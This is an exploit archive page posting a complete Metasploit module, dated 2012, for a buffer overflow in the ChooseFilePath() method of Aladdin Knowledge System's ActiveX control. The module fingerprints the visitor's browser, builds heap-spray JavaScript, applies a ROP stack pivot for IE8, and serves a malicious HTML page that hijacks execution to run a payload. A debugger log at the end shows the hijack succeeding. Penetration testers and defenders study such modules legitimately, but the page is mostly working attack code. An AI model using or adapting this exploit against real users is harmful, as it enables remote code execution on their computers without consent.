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Aladdin Knowledge System Ltd ChooseFilePath Buffer Overflow

Aladdin Knowledge System Ltd ChooseFilePath Buffer Overflow
Posted Nov 1, 2012
Authored by shinnai, sinn3r, b33f, juan vazquez | Site metasploit.com

This Metasploit module exploits a vulnerability found in Aladdin Knowledge System's ActiveX component. By supplying a long string of data to the ChooseFilePath() function, a buffer overflow occurs, which may result in remote code execution under the context of the user.

tags | exploit, remote, overflow, code execution, activex
advisories | OSVDB-86723
SHA-256 | 52766c2b3fde61f7b666e4b1325dcd3fd7b5e615f7cb3ac20c90295ebd3f492b

Aladdin Knowledge System Ltd ChooseFilePath Buffer Overflow

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Remote::BrowserAutopwn
include Msf::Exploit::RopDb

autopwn_info({
:ua_name => HttpClients::IE,
:ua_minver => "6.0",
:ua_maxver => "8.0",
:javascript => true,
:os_name => OperatingSystems::WINDOWS,
:rank => Rank,
:classid => "{09F68A41-2FBE-11D3-8C9D-0008C7D901B6}",
:method => "ChooseFilePath",
})


def initialize(info={})
super(update_info(info,
'Name' => "Aladdin Knowledge System Ltd ChooseFilePath Buffer Overflow",
'Description' => %q{
This module exploits a vulnerability found in Aladdin Knowledge System's
ActiveX component. By supplying a long string of data to the ChooseFilePath()
function, a buffer overflow occurs, which may result in remote code execution
under the context of the user.
},
'License' => MSF_LICENSE,
'Author' =>
[
'shinnai', #Vulnerability Discovery
'b33f', #Original exploit
'sinn3r', #Metasploit
'juan vazquez' #Metasploit, IE8 target
],
'References' =>
[
[ 'OSVDB', '86723' ],
[ 'EDB', '22258' ],
[ 'EDB', '22301' ]
],
'Payload' =>
{
'StackAdjustment' => -3500
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f'
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', {} ],
[ 'IE 6 on Windows XP SP3',
{
'Rop' => false,
'Offset' => '0x5F4',
'Ret' => 0x0c0c0c0c
}
],
[ 'IE 7 on Windows XP SP3',
{
'Rop' => false,
'Offset' => '0x5F4',
'Ret' => 0x0c0c0c0c
}
],
[ 'IE 8 on Windows XP SP3',
{
'Rop' => true,
'Offset' => '0x5f6',
'Ret' => 0x77c2282e # stackpivot # mov esp,ebp # pop ebp # retn # msvcrt.dll
}
],
[ 'IE 7 on Windows Vista',
{
'Rop' => false,
'Offset' => '0x5F4',
'Ret' => 0x0c0c0c0c
}
]
],
'Privileged' => false,
'DisclosureDate' => "Apr 1 2012",
'DefaultTarget' => 0))

register_options(
[
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
], self.class)

end

def get_target(agent)
#If the user is already specified by the user, we'll just use that
return target if target.name != 'Automatic'

nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''

ie_name = "IE #{ie}"

case nt
when '5.1'
os_name = 'Windows XP SP3'
when '6.0'
os_name = 'Windows Vista'
when '6.1'
os_name = 'Windows 7'
end

targets.each do |t|
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
print_status("Target selected as: #{t.name}")
return t
end
end

return nil
end

def ie_heap_spray(my_target, p)
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))

# Land the payload at 0x0c0c0c0c

js = %Q|
var heap_obj = new heapLib.ie(0x20000);
var code = unescape("#{js_code}");
var nops = unescape("#{js_nops}");
while (nops.length < 0x80000) nops += nops;
var offset = nops.substring(0, #{my_target['Offset']});
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(0, (0x80000-6)/2);
heap_obj.gc();
for (var i=1; i < 0x300; i++) {
heap_obj.alloc(block);
}
var overflow = nops.substring(0, 10);
|

js = heaplib(js, {:noobfu => true})

if datastore['OBFUSCATE']
js = ::Rex::Exploitation::JSObfu.new(js)
js.obfuscate
end

return js
end

def load_exploit_html(my_target, cli)

if my_target['Rop']
p = generate_rop_payload('msvcrt', payload.encoded, {'target'=>'xp'})
else
p = payload.encoded
end

spray = ie_heap_spray(my_target, p)

html = %Q|
<html>
<object id="pwnd" classid="clsid:09F68A41-2FBE-11D3-8C9D-0008C7D901B6"></object>
<script>
#{spray}

junk='';
for( counter=0; counter<=267; counter++) junk+=unescape("%0c");
pwnd.ChooseFilePath(junk + "#{Rex::Text.to_hex([my_target.ret].pack("V"))}");
</script>
</html>
|

return html
end

def on_request_uri(cli, request)
agent = request.headers['User-Agent']
uri = request.uri
print_status("Requesting: #{uri}")

my_target = get_target(agent)
# Avoid the attack if no suitable target found
if my_target.nil?
print_error("Browser not supported, sending 404: #{agent}")
send_not_found(cli)
return
end

html = load_exploit_html(my_target, cli)
html = html.gsub(/^\t\t/, '')
print_status("Sending HTML...")
send_response(cli, html, {'Content-Type'=>'text/html'})
end

end

=begin
0:008> g
(82c.12dc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0c0c0c0c ebx=00001d56 ecx=020b93d4 edx=00001d56 esi=00001d60 edi=020b93e8
eip=7712a41a esp=020b93bc ebp=020b93c4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
OLEAUT32!SysReAllocStringLen+0x31:
7712a41a 8b00 mov eax,dword ptr [eax] ds:0023:0c0c0c0c=????????
0:008> g
(82c.12dc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=0c0c0c0c edx=7c9032bc esi=00000000 edi=00000000
eip=0c0c0c0c esp=020b8fec ebp=020b900c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
0c0c0c0c ?? ???
0:008> db 020bf798
020bf798 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
020bf7a8 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
020bf7b8 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
020bf7c8 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
020bf7d8 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
020bf7e8 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
020bf7f8 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
020bf808 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
=end
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